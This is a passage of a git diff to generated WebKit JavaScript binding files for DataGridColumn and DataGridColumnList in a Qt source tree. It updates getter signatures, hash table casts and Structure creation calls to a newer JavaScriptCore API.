+void setJSDOMWindowSVGFilterElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowTouchEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowTouchEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowFormDataConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowFormDataConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.cpp b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.cpp
index 42b91d1..98e88b2 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.cpp
@@ -40,13 +40,13 @@ ASSERT_CLASS_FITS_IN_CELL(JSDataGridColumn);
 
 static const HashTableValue JSDataGridColumnTableValues[8] =
 {
-    { "id", DontDelete, (intptr_t)jsDataGridColumnId, (intptr_t)setJSDataGridColumnId },
-    { "label", DontDelete, (intptr_t)jsDataGridColumnLabel, (intptr_t)setJSDataGridColumnLabel },
-    { "type", DontDelete, (intptr_t)jsDataGridColumnType, (intptr_t)setJSDataGridColumnType },
-    { "sortable", DontDelete, (intptr_t)jsDataGridColumnSortable, (intptr_t)setJSDataGridColumnSortable },
-    { "sortDirection", DontDelete, (intptr_t)jsDataGridColumnSortDirection, (intptr_t)setJSDataGridColumnSortDirection },
-    { "primary", DontDelete, (intptr_t)jsDataGridColumnPrimary, (intptr_t)setJSDataGridColumnPrimary },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDataGridColumnConstructor, (intptr_t)0 },
+    { "id", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnId), (intptr_t)setJSDataGridColumnId },
+    { "label", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnLabel), (intptr_t)setJSDataGridColumnLabel },
+    { "type", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnType), (intptr_t)setJSDataGridColumnType },
+    { "sortable", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSortable), (intptr_t)setJSDataGridColumnSortable },
+    { "sortDirection", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSortDirection), (intptr_t)setJSDataGridColumnSortDirection },
+    { "primary", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnPrimary), (intptr_t)setJSDataGridColumnPrimary },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -61,12 +61,12 @@ static JSC_CONST_HASHTABLE HashTable JSDataGridColumnTable =
 
 static const HashTableValue JSDataGridColumnConstructorTableValues[7] =
 {
-    { "NEVER_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnNEVER_SORTED, (intptr_t)0 },
-    { "ALWAYS_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnALWAYS_SORTED, (intptr_t)0 },
-    { "SOMETIMES_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSOMETIMES_SORTED, (intptr_t)0 },
-    { "NATURAL_SORT", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnNATURAL_SORT, (intptr_t)0 },
-    { "SORT_ASCENDING", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSORT_ASCENDING, (intptr_t)0 },
-    { "SORC_DESCENDING", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSORC_DESCENDING, (intptr_t)0 },
+    { "NEVER_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnNEVER_SORTED), (intptr_t)0 },
+    { "ALWAYS_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnALWAYS_SORTED), (intptr_t)0 },
+    { "SOMETIMES_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSOMETIMES_SORTED), (intptr_t)0 },
+    { "NATURAL_SORT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnNATURAL_SORT), (intptr_t)0 },
+    { "SORT_ASCENDING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSORT_ASCENDING), (intptr_t)0 },
+    { "SORC_DESCENDING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSORC_DESCENDING), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -91,7 +91,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -114,12 +114,12 @@ bool JSDataGridColumnConstructor::getOwnPropertyDescriptor(ExecState* exec, cons
 
 static const HashTableValue JSDataGridColumnPrototypeTableValues[7] =
 {
-    { "NEVER_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnNEVER_SORTED, (intptr_t)0 },
-    { "ALWAYS_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnALWAYS_SORTED, (intptr_t)0 },
-    { "SOMETIMES_SORTED", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSOMETIMES_SORTED, (intptr_t)0 },
-    { "NATURAL_SORT", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnNATURAL_SORT, (intptr_t)0 },
-    { "SORT_ASCENDING", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSORT_ASCENDING, (intptr_t)0 },
-    { "SORC_DESCENDING", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnSORC_DESCENDING, (intptr_t)0 },
+    { "NEVER_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnNEVER_SORTED), (intptr_t)0 },
+    { "ALWAYS_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnALWAYS_SORTED), (intptr_t)0 },
+    { "SOMETIMES_SORTED", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSOMETIMES_SORTED), (intptr_t)0 },
+    { "NATURAL_SORT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnNATURAL_SORT), (intptr_t)0 },
+    { "SORT_ASCENDING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSORT_ASCENDING), (intptr_t)0 },
+    { "SORC_DESCENDING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnSORC_DESCENDING), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -175,57 +175,63 @@ bool JSDataGridColumn::getOwnPropertyDescriptor(ExecState* exec, const Identifie
     return getStaticValueDescriptor<JSDataGridColumn, Base>(exec, &JSDataGridColumnTable, this, propertyName, descriptor);
 }
 
-JSValue jsDataGridColumnId(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsString(exec, imp->id());
+    JSValue result = jsString(exec, imp->id());
+    return result;
 }
 
-JSValue jsDataGridColumnLabel(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnLabel(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsString(exec, imp->label());
+    JSValue result = jsString(exec, imp->label());
+    return result;
 }
 
-JSValue jsDataGridColumnType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsString(exec, imp->type());
+    JSValue result = jsString(exec, imp->type());
+    return result;
 }
 
-JSValue jsDataGridColumnSortable(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnSortable(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsNumber(exec, imp->sortable());
+    JSValue result = jsNumber(exec, imp->sortable());
+    return result;
 }
 
-JSValue jsDataGridColumnSortDirection(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnSortDirection(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsNumber(exec, imp->sortDirection());
+    JSValue result = jsNumber(exec, imp->sortDirection());
+    return result;
 }
 
-JSValue jsDataGridColumnPrimary(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnPrimary(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* castedThis = static_cast<JSDataGridColumn*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumn* imp = static_cast<DataGridColumn*>(castedThis->impl());
-    return jsBoolean(imp->primary());
+    JSValue result = jsBoolean(imp->primary());
+    return result;
 }
 
-JSValue jsDataGridColumnConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumn* domObject = static_cast<JSDataGridColumn*>(asObject(slot.slotBase()));
+    JSDataGridColumn* domObject = static_cast<JSDataGridColumn*>(asObject(slotBase));
     return JSDataGridColumn::getConstructor(exec, domObject->globalObject());
 }
 void JSDataGridColumn::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -235,37 +241,43 @@ void JSDataGridColumn::put(ExecState* exec, const Identifier& propertyName, JSVa
 
 void setJSDataGridColumnId(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setId(value.toString(exec));
 }
 
 void setJSDataGridColumnLabel(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setLabel(value.toString(exec));
 }
 
 void setJSDataGridColumnType(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setType(value.toString(exec));
 }
 
 void setJSDataGridColumnSortable(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setSortable(value.toInt32(exec));
 }
 
 void setJSDataGridColumnSortDirection(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setSortDirection(value.toInt32(exec));
 }
 
 void setJSDataGridColumnPrimary(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    DataGridColumn* imp = static_cast<DataGridColumn*>(static_cast<JSDataGridColumn*>(thisObject)->impl());
+    JSDataGridColumn* castedThisObj = static_cast<JSDataGridColumn*>(thisObject);
+    DataGridColumn* imp = static_cast<DataGridColumn*>(castedThisObj->impl());
     imp->setPrimary(value.toBoolean(exec));
 }
 
@@ -276,32 +288,32 @@ JSValue JSDataGridColumn::getConstructor(ExecState* exec, JSGlobalObject* global
 
 // Constant getters
 
-JSValue jsDataGridColumnNEVER_SORTED(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnNEVER_SORTED(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsDataGridColumnALWAYS_SORTED(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnALWAYS_SORTED(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsDataGridColumnSOMETIMES_SORTED(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnSOMETIMES_SORTED(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsDataGridColumnNATURAL_SORT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnNATURAL_SORT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsDataGridColumnSORT_ASCENDING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnSORT_ASCENDING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsDataGridColumnSORC_DESCENDING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDataGridColumnSORC_DESCENDING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.h b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.h
index c53c99d..a5af609 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumn.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(DATAGRID)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,7 +45,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -71,7 +70,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDataGridColumnPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,27 +79,27 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsDataGridColumnId(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnId(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnLabel(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnLabel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnLabel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnType(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnType(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnType(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnSortable(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnSortable(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnSortable(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnSortDirection(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnSortDirection(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnSortDirection(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnPrimary(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnPrimary(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDataGridColumnPrimary(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDataGridColumnConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsDataGridColumnNEVER_SORTED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnALWAYS_SORTED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnSOMETIMES_SORTED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnNATURAL_SORT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnSORT_ASCENDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDataGridColumnSORC_DESCENDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDataGridColumnNEVER_SORTED(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnALWAYS_SORTED(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnSOMETIMES_SORTED(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnNATURAL_SORT(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnSORT_ASCENDING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDataGridColumnSORC_DESCENDING(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.cpp b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.cpp
index 945c257..fb3b94d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.cpp
@@ -44,10 +44,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSDataGridColumnList);
 
 static const HashTableValue JSDataGridColumnListTableValues[5] =
 {
-    { "length", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnListLength, (intptr_t)0 },
-    { "sortColumn", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnListSortColumn, (intptr_t)0 },
-    { "primaryColumn", DontDelete|ReadOnly, (intptr_t)jsDataGridColumnListPrimaryColumn, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsDataGridColumnListConstructor, (intptr_t)0 },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnListLength), (intptr_t)0 },
+    { "sortColumn", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnListSortColumn), (intptr_t)0 },
+    { "primaryColumn", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnListPrimaryColumn), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDataGridColumnListConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -86,7 +86,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -109,11 +109,11 @@ bool JSDataGridColumnListConstructor::getOwnPropertyDescriptor(ExecState* exec,
 
 static const HashTableValue JSDataGridColumnListPrototypeTableValues[6] =
 {
-    { "item", DontDelete|Function, (intptr_t)jsDataGridColumnListPrototypeFunctionItem, (intptr_t)1 },
-    { "add", DontDelete|Function, (intptr_t)jsDataGridColumnListPrototypeFunctionAdd, (intptr_t)5 },
-    { "remove", DontDelete|Function, (intptr_t)jsDataGridColumnListPrototypeFunctionRemove, (intptr_t)1 },
-    { "move", DontDelete|Function, (intptr_t)jsDataGridColumnListPrototypeFunctionMove, (intptr_t)2 },
-    { "clear", DontDelete|Function, (intptr_t)jsDataGridColumnListPrototypeFunctionClear, (intptr_t)0 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDataGridColumnListPrototypeFunctionItem), (intptr_t)1 },
+    { "add", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDataGridColumnListPrototypeFunctionAdd), (intptr_t)5 },
+    { "remove", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDataGridColumnListPrototypeFunctionRemove), (intptr_t)1 },
+    { "move", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDataGridColumnListPrototypeFunctionMove), (intptr_t)2 },
+    { "clear", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDataGridColumnListPrototypeFunctionClear), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -214,40 +214,43 @@ bool JSDataGridColumnList::getOwnPropertySlot(ExecState* exec, unsigned property
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
-JSValue jsDataGridColumnListLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnListLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
+    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumnList* imp = static_cast<DataGridColumnList*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsDataGridColumnListSortColumn(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnListSortColumn(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
+    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumnList* imp = static_cast<DataGridColumnList*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->sortColumn()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->sortColumn()));
+    return result;
 }
 
-JSValue jsDataGridColumnListPrimaryColumn(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnListPrimaryColumn(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
+    JSDataGridColumnList* castedThis = static_cast<JSDataGridColumnList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DataGridColumnList* imp = static_cast<DataGridColumnList*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->primaryColumn()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->primaryColumn()));
+    return result;
 }
 
-JSValue jsDataGridColumnListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDataGridColumnListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDataGridColumnList* domObject = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
+    JSDataGridColumnList* domObject = static_cast<JSDataGridColumnList*>(asObject(slotBase));
     return JSDataGridColumnList::getConstructor(exec, domObject->globalObject());
 }
-void JSDataGridColumnList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSDataGridColumnList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<DataGridColumnList*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSDataGridColumnList::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -331,10 +334,10 @@ JSValue JSC_HOST_CALL jsDataGridColumnListPrototypeFunctionClear(ExecState* exec
 }
 
 
-JSValue JSDataGridColumnList::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSDataGridColumnList::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSDataGridColumnList* thisObj = static_cast<JSDataGridColumnList*>(asObject(slot.slotBase()));
-    return toJS(exec, thisObj->globalObject(), static_cast<DataGridColumnList*>(thisObj->impl())->item(slot.index()));
+    JSDataGridColumnList* thisObj = static_cast<JSDataGridColumnList*>(asObject(slotBase));
+    return toJS(exec, thisObj->globalObject(), static_cast<DataGridColumnList*>(thisObj->impl())->item(index));
 }
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DataGridColumnList* object)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.h b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.h
index ac4d33e..2033a97 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDataGridColumnList.h
@@ -23,7 +23,6 @@
 
 #if ENABLE(DATAGRID)
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,10 +45,10 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
     DataGridColumnList* impl() const { return m_impl.get(); }
 
@@ -57,10 +56,10 @@ private:
     RefPtr<DataGridColumnList> m_impl;
 protected:
     static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
